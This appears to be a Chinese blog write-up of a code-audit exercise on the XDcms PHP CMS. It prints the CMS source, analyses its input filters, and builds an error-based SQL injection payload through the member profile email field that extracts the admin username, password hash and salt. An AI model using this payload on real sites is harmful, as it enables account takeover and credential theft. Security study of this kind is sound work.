$array=get_array($category,'parentid',$parentid,$show);
return $array;
} //根据栏目ID取得栏目数组
function get_category($id){
$category=base::load_cache("cache_category","_category");
$array=get_array($category,'catid',$id,0);
return $array[0];
} //根据栏目ID取得栏目名称
function catname($id){
$array=get_category($id);
return $array['catname'];
} //根据栏目ID取得栏目URL
function caturl($id){
$array=get_category($id);
return $array['url'];
} //根据栏目ID取得模型表名称
function modelname($id){
$array=get_category($id);
return $array['model'];
} //获取当前栏目下所有下一级栏目ID(只获取下一级) 形式如:1,2,3
function get_catids($parentid=0){
$array=get_menu($parentid,0);
$catid="";
if(!empty($array)){
foreach($array as $k=>$v){
$catid.=",".$v['catid'];
}
}
return ltrim($catid,",");
} //获取当前栏目下所有子级栏目ID(包括下属三级、四级...) 形式如:,1,2,3
function get_all_catids($parentid=0){
$array=get_menu($parentid,0);
if(!empty($array)){
foreach($array as $k=>$v){
$catid.=",".$v['catid'];
$catid.=get_all_catids($v['catid']);
}
}
return $catid;
} /*
* 条件取出缓存中数组
* name数组名称 field条件字段 value条件值 show显示条件(1为只显示只在导航显示的栏目,0为不限)
*
*/
function get_array($name,$field,$value,$show=0){
for($row = 0;$row <sizeof($name);$row++){
if($show==1){
if($name[$row][$field] == $value&&$name[$row]['is_show'] == 1){
$new[] = $name[$row];
}
}else{
if($name[$row][$field] == $value){
$new[] = $name[$row];
}
} }
for($row = 0;$row <sizeof($new);$row++){
$array[]=$new[$row];
}
return $array;
} //判断栏目是否有父栏目并返回ID tid形式如:,1,2,3
function is_parent($catid){
$tid="";
$array=get_category($catid);
$parentid=$array['parentid'];
if(empty($parentid)){
$tid="";
}else{
$tid.=",".$parentid;
$tid.=is_parent($parentid);
}
return $tid;
} //关键词关连链接
function addlink($content){
$keywords=base::load_cache("cache_keywords","_keywords");
if(!empty($keywords)){
foreach($keywords as $link){
$search[]=$link['title'];
$replace[]="<a href='".$link['url']."' target='_blank'>".$link['title']."</a>";
}
}
$search && $content=str_replace_limits($search,$replace,$content,1);
return $content;
} function str_replace_limits($search, $replace, $subject, $limit=-1) {
if (is_array($search)) {
foreach ($search as $k=>$v) {
$search[$k] = "/(?!<[^>]+)".preg_quote($search[$k],'/')."(?![^<]*>)/";
}
}else{
$search = "/(?!<[^>]+)".preg_quote($search,'/')."(?![^<]*>)/";
}
return preg_replace($search, $replace, $subject, $limit);
} //清除\
function html_decode($content){
return stripslashes(htmlspecialchars_decode($content));
} //页面访问路径
function get_guide($catid){
$parentid=ltrim(is_parent($catid),",");
$array=array_filter(array_reverse(explode(",",$parentid)));
$guide="<a href='/'>首页</a> > ";
foreach($array as $v){
$category_arr=get_category($v);
$guide.="<a href='".$category_arr['url']."'>".$category_arr['catname']."</a> > ";
}
$cate_arr=get_category($catid);
$guide.="<a href='".$cate_arr['url']."'>".$cate_arr['catname']."</a>";
return $guide;
} //删除数组中某个元素
function array_element($array,$element){
foreach($array as $k=>$v){
if($v==$element){
//unset($array[$k]); 个别php环境下不能删除指定的元数,使用下列清空数组值
$array[$k]="";
}
}
$array=array_clear($array);
sort($array);
return $array;
} //清除数组中空元素
function array_clear($arr){
if(is_array($arr)){
function odds($var){
return($var<>'');
}
return (array_filter($arr, "odds"));
}else{
return $arr;
}
} function array_merger($a,$b) {
foreach ($b as $k => $v) {
if(!is_array($v) && !empty($v)) {
array_push($a,$v);
}
}
return $a;
} //获取栏目权限
function get_power($group,$groupid,$catid){
if(file_exists(CACHE_SYS_PATH.'cache_category_power_'.$catid.'.php')){
$power=base::load_cache('cache_category_power_'.$catid,'_power');
if(empty($power)){
return 100;
}else{
return $power[$group.'_'.$groupid]?1:0;
}
}else{
return 100;
}
} //获取文件后缀名
function get_suffix($filename) {
return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
} //密码加密
function password($password, $encrypt='') {
$pwd = array();
$pwd['encrypt'] = $encrypt ? $encrypt : get_random();
$password_md5=md5(trim($password));
$nums=strlen($password_md5) - strlen($pwd['encrypt']);
$pwd['password'] = md5(substr_replace($password_md5,$pwd['encrypt'],$nums));
return $encrypt ? $pwd['password'] : $pwd;
} //生成随机字符串
function get_random($length = "") {
$length = $length ? $length : rand(6,12);
$chars='123456789abcdefghijklmnpqrstuvwxyz';
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
} //公告
function notice(){
include(FUN_PATH."version.inc.php");
$url=base64_decode("aHR0cDovL3d3dy54ZGNtcy5jbi91cGRhdGUvZ2JrLnBocD92PQ==").CMS_RELEASE;
return $url;
} function left_bottom_menu(){
$text=base64_decode("PGRsIGNsYXNzPSJoZWxwIj4NCgk8ZGQgY2xhc3M9InQzIj48YSBocmVmPSJodHRwOi8vd3d3Lmlzenp6LmNvbS90aHJlYWQtMzAwLTEtMS5odG1sIiB0YXJnZXQ9Il9ibGFuayI+z7XNs8q508O9zLPMPC9hPjwvZGQ+DQogICAgPGRkIGNsYXNzPSJ0NCI+PGEgaHJlZj0iaHR0cDovL3d3dy5pc3p6ei5jb20vdGhyZWFkLTc1NC0xLTEuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPrDmyKjJ6sP3PC9hPjwvZGQ+DQo8L2RsPg==");
return $text;
} function f_p(){
return base64_decode("UG93ZXJlZCBieSA8YSBocmVmPSdodHRwOi8vd3d3LnhkY21zLmNuJyB0YXJnZXQ9J19ibGFuayc+WERjbXM8L2E+");
} //生成缩略图
function thumb($f,$w,$h){
if(file_exists($f)){
$image=getimagesize($f);
if($image[0]<=$w){
$file=$f;
}else{
$filename=array_pop(explode("/",$f));
$filepath=str_replace($filename,"",$f);
$filename=explode(".",$filename);
$file=$filepath."thumb_".$filename[0]."_".$w."_".$h.".".$filename[1];
if(!file_exists($file)){
switch($image[2]){
case 1 :
$im = imagecreatefromgif($f);
break;
case 2 :
$im = imagecreatefromjpeg($f);
break;
case 3 :
$im = imagecreatefrompng($f);
break;
}
$new = imagecreatetruecolor($w,$h);
imagecopyresampled($new,$im, 0, 0, 0, 0,$w, $h, $image[0], $image[1]);
imagejpeg($new,$file);
imagedestroy($im);
imagedestroy($new);
}
}
}else{
$file=CMS_URL.'uploadfile/nopic.gif';
} return $file;
} //删除文件夹及下属文件
function deldir($dir) {
if(file_exists($dir)){
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
} closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
} //生成html
function creat_html($file){
$data=ob_get_contents(); //返回缓冲区的内容
ob_clean();
$fp=fopen($file,'w');
flock($fp,LOCK_EX);
// if(!fwrite($fp,$data)){
// showmsg(C('file_write_error'),'-1');
// }
fwrite($fp,$data);
flock($fp,LOCK_UN);
fclose($fp);
} //发送邮件
function sendmail($title,$text){
$email=base::load_cache("cache_set_email","_email");
$contact=base::load_cache("cache_set_contact","_contact");
$smtpserver =$email['mailserver'];//SMTP服务器
$smtpserverport =$email['mailport'];//SMTP服务器端口
$smtpusermail = $email['mailadd'];//SMTP服务器的用户邮箱
$smtpemailto =$contact["email"];//发送给谁
$smtpuser =$email['username'];//SMTP服务器的用户帐号
$smtppass =$email['password'];//SMTP服务器的用户密码
$mailsubject =$title;//邮件主题
$mailbody =$text;//邮件内容
$mailtype = "HTML";//邮件格式(HTML/TXT),TXT为文本邮件 include LIB_PATH.'email.class.php';
$smtp = new smtp($smtpserver,$smtpserverport,true,$smtpuser,$smtppass);//这里面的一个true是表示使用身份验证,否则不使用身份验证.
$smtp->debug = FALSE;//是否显示发送的调试信息
$smtp->sendmail($smtpemailto, $smtpusermail, $mailsubject, $mailbody, $mailtype);
}
?>

fun.inc.php

 <?php
session_start();
if(!defined('IN_CMS')) die('Illegal link'); $config_arr=base::load_cache('cache_set_config','_config');
$contact_arr=base::load_cache('cache_set_contact','_contact');
//$config_arr['copyright'] .= f_p();
assign("config",$config_arr); //加载网站配置
assign("pre",DB_PRE); //加载数据库前辍
assign("adminuser",$_SESSION['admin']); //加载管理员用户名
assign("contact",$contact_arr); //加载联系方式 assign('css_path',SYS_DIR.'/'.TP_DIR.'/'.TP_FOLDER.'/css/'); //前台css路径
assign('image_path',SYS_DIR.'/'.TP_DIR.'/'.TP_FOLDER.'/images/'); //前台image路径
assign('js_path',SYS_DIR.'/'.TP_DIR.'/'.TP_FOLDER.'/js/'); //前台image路径 $page=isset($_GET['page'])?(int)$_GET['page']:0;
$page=$page==0?1:$page; //接收参数
$m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
$f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init"; //判断模块是否存在
if(!file_exists(MOD_PATH.$m)){
showmsg(C('module_not_exist'),'/');
} //判断类文件是否存在
if(!file_exists(MOD_PATH.$m."/".$c.".php")){
showmsg(C('class_not_exist'),'/');
} include MOD_PATH.$m."/".$c.".php"; //调用类 //判断类是否存在
if(!class_exists($c)){
showmsg(C('class_not_exist'),'/');
} $p=new $c(); //实例化
$p->$f(); //调用方法
?>

global.inc.php

注:找到参数输入位置

a、safe_html()过滤==>>跟踪该函数:检查该函数是否可以绕过

 //安全过滤函数
function safe_html($str){
if(empty($str)){return;}
if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');

safe_html

#星号,点等符号被过滤,很难进行绕过操作

b、检查safe_replace

//安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

safe_replace

*传入的参数被这两个函数双层过滤,很难进行注入

突破思路:寻找$_POST或cookie

注:本次实验,找用户登录界面的注入,非管理员

a、发现content.php中delete函数对接收参数没有进行过滤,可检查是否可以删除重要文件  【本次实验不进行深究】

 <?php
class content extends Checklogin{ public function init(){
$formid=isset($_GET['formid'])?intval($_GET['formid']):0;
$form=base::load_cache("cache_form","_form");
$array=get_array($form,'id',$formid,0);
assign('form',$array[0]);
template('content_list','admin/form');
} public function show(){
$id=isset($_GET['id'])?intval($_GET['id']):0;
$formid=isset($_GET['formid'])?intval($_GET['formid']):0;
$form=formtable($formid);
$rs=$this->mysql->get_one("select * from ".DB_PRE.$form." where `id`=".$id); $field=base::load_cache("cache_form_".$form,"_field");
$fields="";
foreach($field as $value){
$fields.="<tr>\n";
$fields.="<td align=\"right\">".$value['name'].":</td>\n";
$fields.="<td colspan=\"3\">".$rs[$value['field']]."</td>\n";
$fields.="</tr>\n";
} assign("rs",$rs);
assign("fields",$fields);
assign("formid",$formid);
template('content_show','admin/form');
} public function delete(){
if(isset($_POST['id'])){
$formid=isset($_POST['formid'])?intval($_POST['formid']):0;
foreach($_POST['id'] as $id){
$this->del_data($id,$formid);
}
}elseif(isset($_GET['id'])){
$id=$_GET['id'];
$formid=isset($_GET['formid'])?intval($_GET['formid']):0;
$this->del_data($id,$formid);
}else{
showmsg(C('error'),'-1');
}
showmsg(C('delete_success'),'-1');
} //处理数据删除函数
private function del_data($id,$formid){
$form=formtable($formid);
$this->mysql->db_delete($form,'`id`='.$id);
}
}
?>

b、form/lists.php为验证码机制,可深入分析,现不做分析  【有验证码的话,注入比较困难,但并非不能注入】

<?php
class lists extends db{ public function init(){
$input=base::load_class('input');
$formid=isset($_GET['formid'])?intval($_GET['formid']):0;
$form_arr=base::load_cache("cache_form","_form");
$form=get_array($form_arr,'id',$formid,0); $field=base::load_cache("cache_form_".$form[0]['form_table'],"_field");
$fields="";
if(is_array($field)){
foreach($field as $value){
$fields.="<tr>\n";
$fields.="<td align=\"right\">".$value['name'].":</td>\n";
$fields.="<td>".$input->$value['formtype']($value['field'],'',$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>\n";
$fields.="</tr>\n";
} //是否显示验证码
if($form['0']['is_code']==1){
$fields.="<tr>\n";
$fields.="<td align=\"right\">验证码:</td>\n";
$fields.="<td><input type=\"text\" name=\"verifycode\" id=\"verifycode\" class=\"txt\" /><img src=\"admin/verifycode.php\" border=\"0\" alt=\"验证码,看不清楚?请点击刷新验证码\" onClick=\"this.src=this.src+'?'+Math.random();\" class=\"codeimage\"/></td>\n";
$fields.="</tr>\n";
}
} assign("form",$form[0]);
assign("fields",$fields);
assign('menu',get_menu(0,1));
template("form_list");
} public function add_save(){
$formid=safe_html($_GET['formid']);
$form_arr=base::load_cache("cache_form","_form");
$form=get_array($form_arr,'id',$formid,0);
$fields=$_POST['fields'];
$verifycode=$_POST['verifycode']; //验证码
if($form['0']['is_code']==1 && $verifycode!=$_SESSION['code']){
showmsg(C('verifycode_error'),'-1');
} if(empty($fields['title'])||empty($formid)){
showmsg(C('material_not_complete'),'-1');
} $form=formtable($formid);
if(empty($form)){
showmsg(C('error'),'-1');
} $table=$this->mysql->show_table(); //判断数据表是否存在
if(!in_array(DB_PRE.$form,$table)){
showmsg(C('table_not_exist'),'-1');
} //添加附加表
$sql_fields='`inputtime`';
$sql_value=datetime();
$send_text='留言内容:<br>'; foreach($fields as $key=>$value){
$sql_fields.=",`".safe_replace($key)."`";
if(is_array($value)){
$value_arr='';
foreach($value as $k=>$v){
$value_arr.=$v.',';
}
$value=$value_arr;
}
$sql_value.=",\"".safe_replace(safe_html($value))."\"";
$send_text.=safe_replace(safe_html($value))."<br>";
} $this->mysql->query("insert into ".DB_PRE.$form."({$sql_fields}) values ({$sql_value})");
$rs=$this->mysql->get_one("select * from ".DB_PRE."form where id=".$formid);
if($rs['is_email']==1){
sendmail('有人给您留言了!',$send_text);
}
showmsg(C('add_success'),'-1');
}
}
?>

c、寻找member/index.php

 <?php
class index extends db{
function __construct(){
parent::__construct();
assign('menu',get_menu(0,1));
} public function init(){
$this->member_info();
template("member/index");
} public function register(){
$member_user=Cookie::_getcookie('member_user');
$member_userid=Cookie::_getcookie('member_userid');
if(!empty($member_user)||!empty($member_userid)){
showmsg(C("not_register"),"index.php?m=member");
}
$input=base::load_class('input'); //加载注册字段
$field=base::load_cache("cache_field_member","_field");
$fields="";
if(is_array($field)){
foreach($field as $value){
if($value['is_register']==1){
$fields.="<tr>\n";
$fields.="<td align=\"right\">".$value['name'].":</td>\n";
$fields.="<td>".$input->$value['formtype']($value['field'],'',$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>\n";
$fields.="</tr>\n";
}
}
} assign("fields",$fields);
template("member/register");
} public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password)); $user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id(); //插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql); showmsg(C('register_success'),'index.php?m=member&f=register');
} public function login(){
template("member/login");
} public function login_save(){
$username = safe_html($_POST['username']);
$password = safe_html($_POST['password']); if(empty($username)||empty($password)){
showmsg(C('user_pass_empty'),'-1');
} $sql="select * from ".DB_PRE."member where `username`='$username'";
if($this->mysql->num_rows($sql)==0){
showmsg(C('member_not_exist'),'-1');
} $password=md5(md5($password));
$rs=$this->mysql->get_one($sql);
if($password!=$rs['password']){
showmsg(C('password_error'),'-1');
} if($rs['is_lock']==1){
showmsg(C('user_lock'),'-1');
} $logins=$rs["logins"]+1;
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'"); Cookie::_setcookie(array('name'=>'member_user','value'=>$username));
Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid']));
Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid']));
unset($rs);
showmsg(C("login_success"),"index.php?m=member");
} public function edit(){
$member_user=Cookie::_getcookie('member_user');
$userid=intval(Cookie::_getcookie('member_userid'));
if(empty($member_user)||empty($userid)){
showmsg(C("admin_not_exist"),"index.php?m=member&f=login");
}
$info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid"); $input=base::load_class('input');
$field=base::load_cache("cache_field_member","_field");
$fields="";
foreach($field as $value){
$fields.="<tr>\n";
$fields.="<td align=\"right\">".$value['name'].":</td>\n";
$fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>\n";
$fields.="</tr>\n";
} assign('member',$info);
assign("fields",$fields);
template("member/edit");
} public function edit_save(){
$this->member_info();
$userid=intval(Cookie::_getcookie('member_userid'));
$fields=$_POST['fields'];
//修改资料
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='".safe_html($f_value)."'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}";
$query=$this->mysql->query($field_sql); showmsg(C('update_success'),'index.php?m=member&f=edit');
} public function password(){
$this->member_info();
template("member/password");
} public function password_save(){
$this->member_info();
$userid=intval(Cookie::_getcookie('member_userid'));
$oldpassword=$_POST['oldpassword'];
$password=$_POST['password'];
$password2=$_POST['password2'];
if(empty($oldpassword)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
} //判断旧密码是否正确
$oldpassword=md5(md5($oldpassword));
$rs=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`='$userid'");
if($oldpassword!=$rs['password']){
showmsg(C('oldpassword_error'),'-1');
} //更新密码
$password=md5(md5($password));
$sql="update ".DB_PRE."member set password='{$password}' where userid='{$userid}'";
$this->mysql->query($sql); showmsg(C('update_success'),'-1'); } public function logout(){
Cookie::_delcookie(array('name'=>'member_user'));
Cookie::_delcookie(array('name'=>'member_userid'));
Cookie::_delcookie(array('name'=>'member_groupid'));
showmsg(C("login_out_success"),"index.php?m=member&f=login");
} //判断会员是否登录并获取会员信息
private function member_info(){
$user=safe_html(Cookie::_getcookie('member_user'));
$userid=intval(Cookie::_getcookie('member_userid'));
if(empty($user)||empty($userid)){
showmsg(C("admin_not_exist"),"index.php?m=member&f=login");
}
$info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid"); assign('member',$info);
}
}
?>

c.1、跟踪输入变量fileds

c.2、$fields传入$field_sql中,跟踪$field_sql  -->执行SQL语句

注册账号,抓取数据包

再次注册,截断输出

再次注册,截断SQL语句,判断是否能正常输出

update c_member set `truename`='rrrr',`email`='rrrrrr'' where userid=6  【此处存在注入,构造注入语句】

query()产生报错注入  【数据库查询出错,没有马上终止,而是输出了错误信息】

     //执行查询
function query($sql){
if(!$res=@mysql_query($sql,$this->ConnStr)){
echo '操作数据库失败'.mysql_error()."<br>sql:{$sql}";
}
return $res;
} //sql报错信息
function get_error(){
$err=mysql_error($this->ConnStr);
return $err;
}

报错注入代码,用于构造注入语句

 (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

【c_admin为表,0x3a:意思为打印】

测试是否会执行出错

拼接得到注入语句  【修改email的值】

update c_member set `truename`='rrrr',`email`='12345'' where userid=6 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

测试

测试EXP  【在邮箱处填写exp】

先还原语句

2345'' where userid=6 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

###因为环境问题,也可能是操作上的失误,导致错误信息没有正常输出,只能借用教程PPT中的图片

最新文章

  1. word-break|overflow-wrap|word-wrap——CSS英文断句浅析
  2. Java GUI编程
  3. 20 个超酷的 HTML5/CSS3 应用及源码
  4. JMS概述
  5. hdoj 3336 Count the string【kmp算法求前缀在原字符串中出现总次数】
  6. France \&#39;98(概率)
  7. 这家伙,搞了好多C#excel的操作,学习了
  8. Mac下node.js卸载方法收集
  9. 新浪微博iOS SDK UIImage+WBSDKResize.o
  10. 解决网络不可用--Using_Service_Workers
  11. Sitecore8.2 Solr5.1.0配置步骤
  12. d3绘制饼状图
  13. [转]PHP用mysql数据库存储session
  14. 禁用系统的Ctrl+Alt+Left/Right(方向键)
  15. 题目1452:搬寝室(dp题目)
  16. jquery获取input file的文件名,具有兼容性
  17. Hadoop HA 高可用集群的搭建
  18. 【转】Android中获取应用程序(包)的信息-----PackageManager的使用(一)
  19. 【转】WinForm窗体显示和窗体间传值
  20. DP - 字符混编

热门文章

  1. Linux CentOS下安装Tomcat9
  2. oracle11g在CentOS6.9上启动脚本
  3. JavaScript如何转换数据库DateTime字段类型?
  4. Linux---who命令学习
  5. Vue路由讲解
  6. P2878 [USACO07JAN]保护花朵Protecting the Flowers
  7. delete分析 引用于 http://www.cnblogs.com/yuzhongwusan/archive/2012/06/14/2549879.html
  8. js 图片库 改进版
  9. Java开发.gitignore文件包含.iml,.log的看法
  10. python备份mysql数据库